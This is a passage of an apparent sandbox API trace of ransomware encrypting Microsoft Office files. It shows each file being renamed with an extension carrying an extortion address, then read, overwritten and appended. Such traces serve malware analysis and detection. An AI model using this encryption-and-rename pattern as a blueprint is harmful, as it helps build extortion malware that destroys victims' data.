Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a2c10c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~3.FIR")) returned 0x6d4f80 [0146.933] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0146.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6b0 [0146.933] GetProcessHeap () returned 0x630000 [0146.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x7181c8 [0146.933] GetProcessHeap () returned 0x630000 [0146.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717d18 [0146.933] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.933] ReadFile (in: hFile=0x6b0, lpBuffer=0x7181c8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7181c8*, lpNumberOfBytesRead=0x50fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.935] GetProcessHeap () returned 0x630000 [0146.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.935] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.935] WriteFile (in: hFile=0x6b0, lpBuffer=0x717d18*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717d18*, lpNumberOfBytesWritten=0x50fff0c*=0xc0, lpOverlapped=0x0) returned 1 [0146.935] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.935] WriteFile (in: hFile=0x6b0, lpBuffer=0x717dd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x717dd7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.935] SetFilePointerEx (in: hFile=0x6b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.935] WriteFile (in: hFile=0x6b0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.935] CloseHandle (hObject=0x6b0) returned 1 [0146.935] GetProcessHeap () returned 0x630000 [0146.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717d18 | out: hHeap=0x630000) returned 1 [0146.935] GetProcessHeap () returned 0x630000 [0146.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7181c8 | out: hHeap=0x630000) returned 1 [0146.935] GetProcessHeap () returned 0x630000 [0146.935] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.935] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.936] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d88000a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x50ffd20, dwReserved1=0x7181c8, cFileName="GRAPH_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~3.FIR")) returned 0x6d4ec0 [0146.936] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0146.936] Sleep (dwMilliseconds=0x1) [0148.106] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one", len=0x47 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one") returned 1 [0148.106] GetProcessHeap () returned 0x630000 [0148.106] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2680) returned 0x71f7c78 [0148.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0149.588] CloseHandle (hObject=0x6bc) returned 1 [0149.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0149.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.589] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVITE~1.FIR")) returned 0x6d4ec0 [0149.589] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0149.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\invite or link.one.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0149.589] GetProcessHeap () returned 0x630000 [0149.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2be1) returned 0x6fa75d0 [0149.589] GetProcessHeap () returned 0x630000 [0149.589] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2be1) returned 0x710b218 [0149.589] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.589] ReadFile (in: hFile=0x6bc, lpBuffer=0x6fa75d0, nNumberOfBytesToRead=0x2bc0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa75d0*, lpNumberOfBytesRead=0x50fff0c*=0x2bc0, lpOverlapped=0x0) returned 1 [0152.117] GetProcessHeap () returned 0x630000 [0152.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0152.117] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.117] WriteFile (in: hFile=0x6bc, lpBuffer=0x710b218*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x710b218*, lpNumberOfBytesWritten=0x50fff0c*=0x2bc0, lpOverlapped=0x0) returned 1 [0152.117] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.117] WriteFile (in: hFile=0x6bc, lpBuffer=0x710ddd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x710ddd7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0152.117] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.118] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0152.118] CloseHandle (hObject=0x6bc) returned 1 [0152.118] GetProcessHeap () returned 0x630000 [0152.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x710b218 | out: hHeap=0x630000) returned 1 [0152.118] GetProcessHeap () returned 0x630000 [0152.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa75d0 | out: hHeap=0x630000) returned 1 [0152.118] GetProcessHeap () returned 0x630000 [0152.118] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0152.118] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0152.118] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a2c10c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a2c10c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x209d4cfe, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2bec, dwReserved0=0xa207496, dwReserved1=0x6fa75c8, cFileName="Invite or Link.one.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INVITE~1.FIR")) returned 0x6d5440 [0152.118] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0152.119] Sleep (dwMilliseconds=0x1) [0155.047] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF", len=0x43 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF") returned 1 [0155.047] GetProcessHeap () returned 0x630000 [0155.047] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b70) returned 0x707d3d0 [0155.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\pmailext.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0155.048] CloseHandle (hObject=0x66c) returned 1 [0155.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.048] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\pmailext.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\pmailext.ecf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PMAILE~1.FIR")) returned 0x6d5400 [0155.051] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0155.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\pmailext.ecf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0155.051] GetProcessHeap () returned 0x630000 [0155.051] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecd750 [0155.051] GetProcessHeap () returned 0x630000 [0155.051] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6ecef38 [0155.051] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.051] ReadFile (in: hFile=0x66c, lpBuffer=0x6ecd750, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecd750*, lpNumberOfBytesRead=0x50fff0c*=0x260, lpOverlapped=0x0) returned 1 [0155.055] GetProcessHeap () returned 0x630000 [0155.055] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0155.055] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.055] WriteFile (in: hFile=0x66c, lpBuffer=0x6ecef38*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecef38*, lpNumberOfBytesWritten=0x50fff0c*=0x260, lpOverlapped=0x0) returned 1 [0155.055] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.055] WriteFile (in: hFile=0x66c, lpBuffer=0x6ecf197*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecf197*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.056] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.056] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.056] CloseHandle (hObject=0x66c) returned 1 [0155.056] GetProcessHeap () returned 0x630000 [0155.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecef38 | out: hHeap=0x630000) returned 1 [0155.056] GetProcessHeap () returned 0x630000 [0155.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ecd750 | out: hHeap=0x630000) returned 1 [0155.056] GetProcessHeap () returned 0x630000 [0155.056] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0155.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x225d9f2e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x296, dwReserved0=0x50ffd20, dwReserved1=0x6ecd750, cFileName="PMAILEXT.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PMAILE~1.FIR")) returned 0x6d5280 [0155.056] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.056] Sleep (dwMilliseconds=0x1) [0155.062] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF", len=0x40 | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF") returned 1 [0155.062] GetProcessHeap () returned 0x630000 [0155.062] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b68) returned 0x707d3d0 [0155.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0155.062] CloseHandle (hObject=0x6f4) returned 1 [0155.062] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0155.062] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex.ecf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex.ecf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0155.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTEXE~1.FIR")) returned 0x6d5280 [0155.063] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0155.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\outex.ecf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0155.063] GetProcessHeap () returned 0x630000 [0155.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6efcc50 [0155.063] GetProcessHeap () returned 0x630000 [0155.063] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7a1) returned 0x6efbcc0 [0155.064] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.064] ReadFile (in: hFile=0x6f4, lpBuffer=0x6efcc50, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efcc50*, lpNumberOfBytesRead=0x50fff0c*=0x780, lpOverlapped=0x0) returned 1 [0155.078] GetProcessHeap () returned 0x630000 [0155.078] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176f70 [0155.078] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] WriteFile (in: hFile=0x6f4, lpBuffer=0x6efbcc0*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efbcc0*, lpNumberOfBytesWritten=0x50fff0c*=0x780, lpOverlapped=0x0) returned 1 [0155.078] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] WriteFile (in: hFile=0x6f4, lpBuffer=0x6efc43f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6efc43f*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0155.078] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.078] WriteFile (in: hFile=0x6f4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0155.078] CloseHandle (hObject=0x6f4) returned 1 [0155.079] GetProcessHeap () returned 0x630000 [0155.079] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efbcc0 | out: hHeap=0x630000) returned 1 [0155.079] GetProcessHeap () returned 0x630000 [0155.079] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6efcc50 | out: hHeap=0x630000) returned 1 [0155.079] GetProcessHeap () returned 0x630000 [0155.079] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176f70 | out: hHeap=0x630000) returned 1 [0155.079] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0155.079] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x226265a5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7aa, dwReserved0=0x50ffd20, dwReserved1=0x6efcc50, cFileName="OUTEX.ECF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OUTEXE~1.FIR")) returned 0x6d5480 [0155.079] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0155.079] Sleep (dwMilliseconds=0x1) [0155.121] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png", len=0x5c | out: pbstr=0x50fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png") returned 1 [0155.121] GetProcessHeap () returned 0x630000 [0155.121] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b6c) returned 0x707d3d0 [0155.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\BI-Report.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\bi-report.png"), 